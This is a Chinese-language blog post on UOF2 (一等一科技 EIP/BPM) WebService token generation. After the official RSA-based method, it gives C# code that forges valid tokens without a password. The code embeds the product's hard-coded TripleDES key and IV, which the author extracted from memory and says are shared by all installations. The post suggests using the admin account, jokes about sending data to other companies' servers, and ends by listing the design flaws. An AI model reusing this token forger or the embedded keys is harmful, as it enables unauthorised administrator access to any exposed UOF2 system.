製作免密碼的WebService的Token產生 | UOF2 | 一等一科技 | EIP介接 | UOF2的漏洞

by | 8 月 19, 2025 | 一等一UOF系統, 程式 | 0 comments

Views: 0

一等一科技 WebService取得Token其實設計的很難用,我覺得應該是不需要User的密碼,尤其是要做系統串接時候根本沒另一個系統的密碼,我建議只需要用時間帳號+時間戳記+加密就可以了

使用環境

ERP系統KEY完單,拋到BPM進行起單+上傳檔案,這時候需要幾樣東

  1. 起單的部分透過資料庫 or WebService ,而WebService需要Token
  2. 上傳檔案需要使用 Ede.Uof.Web.PublicAPI.Utility.FileCenter(),這個元件也需要Token
  3. 正常Token產生透過Ede.Uof.Web.PublicAPI.Sys.Authentication()去呼叫API,其中輸入資料需要使用者的EIP帳號+密碼,整個問題點在這,ERP上缺少EIP(BPM)的帳號密碼。

問題點:產生TOKEN 需要使用者的EIP帳號+密碼,ERP上缺少EIP(BPM)的帳號密碼。

官方的正常作法STEP1-RSA產生公私鑰

RSA可以先透過官方有個RSA公私鑰產生器進行產生

Image

然後到:系統管理 » 系統組態 » 一般組態設定 » 整合服務 
進行登錄

Image

官方的正常作法(STEP2)-RSA-帳密產生函數

這邊的account要放EIP上的帳號 passwd放eip上的密碼

/// <summary>
/// 產生一個Token
/// </summary>
/// <param name="account">帳號</param>
/// <param name="passwd">密碼</param>
/// <param name="appName">外部系統代號</param>
/// <param name="publicKey">外部系統代號</param>
/// <returns></returns>
private string GetToken(string account, string passwd,string appName,string publicKey)
{
    Ede.Uof.Web.PublicAPI.Sys.Authentication auth = new Ede.Uof.Web.PublicAPI.Sys.Authentication();
    return auth.GetToken(appName, RSAEncrypt(publicKey,account), RSAEncrypt(publicKey,passwd));
}

/// <summary>
/// RSA加密
/// </summary>
/// <param name="publicKey">公鑰</param>
/// <param name="text">明文</param>
/// <returns>密文</returns>
private string RSAEncrypt(string publicKey, string text)
{
    RSACryptoServiceProvider rsa = new RSACryptoServiceProvider();
    byte[] base64PublicKey = Convert.FromBase64String(publicKey);
    rsa.FromXmlString(System.Text.Encoding.UTF8.GetString(base64PublicKey));
    byte[] ctTextArray = Encoding.UTF8.GetBytes(text);
    byte[] decodeBs = rsa.Encrypt(ctTextArray, false);
    return Convert.ToBase64String(decodeBs);
}

非官方作法-自己照規則產生TOKEN

這邊我研究了一下TOKEN產生的方式,發現其實只要有帳號就可以了,然後可以透過TripleDES 加密

版本1

這個是在.net 4.8 而且可以引用一等一的dll的 ,如果不能引用dll就要自己讀資料庫,然後實作TripleDES的加密,這部分我寫在版本2

/// <summary>
/// 產生一個Token
/// </summary>
/// <param name="account">使用者帳號</param>
/// <param name="appName">外部系統代號</param>
/// <returns></returns>
private string GetToken(string account,string appName)
{
    //appName: UOF註冊的APP名稱 (外部系統代號)
    // 系統管理 » 系統組態 » 一般組態設定 » 整合服務
    string userIP = Current.UserIPAddress;

    UserUCO userUco = new UserUCO();             
    var userGUID = userUco.GetGUID(account);
    EBUser ebUser = userUco.GetEBUser(userGUID);

    var isAllow =  userUco.ValidateActiveUserAccount(ebUser.Account);
    if (!isAllow)
    {
        throw new Exception("使用者帳號已停用,請聯絡系統管理員。");
    }
    string tempstr = string.Format("{0}|{1}|{2}", appName, ebUser.Account, userIP);
    byte[] tokenArray = Ede.Uof.Utility.Crypto.TripleDESEncrypto(Encoding.UTF8.GetBytes(tempstr));
    return Ede.Uof.Utility.Hex.GetString(tokenArray);
}

方法2 連TripleDES都自己寫

這邊實作用帳號自己產生TripleDES的加密(提示:帳號直接使用admin就好),App Name那邊有填就好,這邊我看了一下記憶體內容,挖出了加密用的KEY放在這邊,應該全世界使用UOF2的都是用這個KEY跟加密方式,基本上就變成你知道站台位址,然後知道任一帳號(例如admin)就能取得TOKEN)往別人家的UOF2的WebService亂送資料 XDDD

/// <summary>
/// 產生一個Token
/// </summary>
/// <param name="account">使用者帳號</param>
/// <param name="appName">外部系統代號</param>
/// <returns></returns>
private string GetTokenV2(string account, string appName)
{
    //appName: UOF註冊的APP名稱 (外部系統代號)
    // 系統管理 » 系統組態 » 一般組態設定 » 整合服務
    string userIP = Current.UserIPAddress;

    // 獲取使用者GUID
    // 這邊可以讀取EIP的資料表 
    // 檢測並取得帳號
    // SELECT TOP 1 [ACCOUNT] FROM [TB_EB_USER]
    // WHERE ACCOUNT = @account
    // and IS_LOCKED_OUT = 0 -- 確保使用者沒有被鎖定
    // and (LAST_LOCKED_OUT_DATE is null or LAST_LOCKED_OUT_DATE >= GETDATE()) -- 確保帳號還沒到期
    //account = ""; //取得回來的放這邊
        
        
    string tempstr = string.Format("{0}|{1}|{2}", appName, account, userIP);
    var bytes = Encoding.UTF8.GetBytes(tempstr);
    // 使用 TripleDES 加密
    TripleDES tripleDes = (TripleDES)new TripleDESCryptoServiceProvider();
    byte[] bytes1 = Encoding.UTF8.GetBytes("0#38djdy47gjdnnviAJDFIDD");
    byte[] bytes2 = Encoding.UTF8.GetBytes("/!@#(QWHFQRqhf'qwoff1/2f");
    MemoryStream memoryStream = new MemoryStream();
    CryptoStream cryptoStream = new CryptoStream((Stream)memoryStream, tripleDes.CreateEncryptor(bytes1, bytes2), CryptoStreamMode.Write);
    cryptoStream.Write(bytes, 0, bytes.Length);
    cryptoStream.Close();

    var encryptedBytes = memoryStream.ToArray();
    StringBuilder stringBuilder = new StringBuilder();
    int length = encryptedBytes.Length;
    for (int index = 0; index < length; ++index)
    {
        stringBuilder.Append(hexMap[(int)encryptedBytes[index] >> 4]);
        stringBuilder.Append(hexMap[(int)encryptedBytes[index] & 15]);
    }
    return stringBuilder.ToString();
}

/// <summary>
/// 16進位對應表
/// </summary>
private static readonly char[] hexMap = new char[16]
{
    '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'A', 'B', 'C', 'D', 'E', 'F'
};

UOF2 TOKEN產生的問題

  1. TOKEN 沒有限制期限,裡面完全沒押TimeStamp
  2. TOKEN 的加密居然是寫死的,看一下記憶體就會知道了,我覺得最大漏洞是這個,應該將密鑰安裝時產生在AppSetting或DB中,每個站台都不同。
  3. API收到TOKEN 解密的驗證也很薄弱,基本上只有驗帳號而已,所以你只需要產生一個admin的TOKEN就能變成萬能鑰匙。

0 Comments

Submit a Comment

發佈留言必須填寫的電子郵件地址不會公開。 必填欄位標示為 *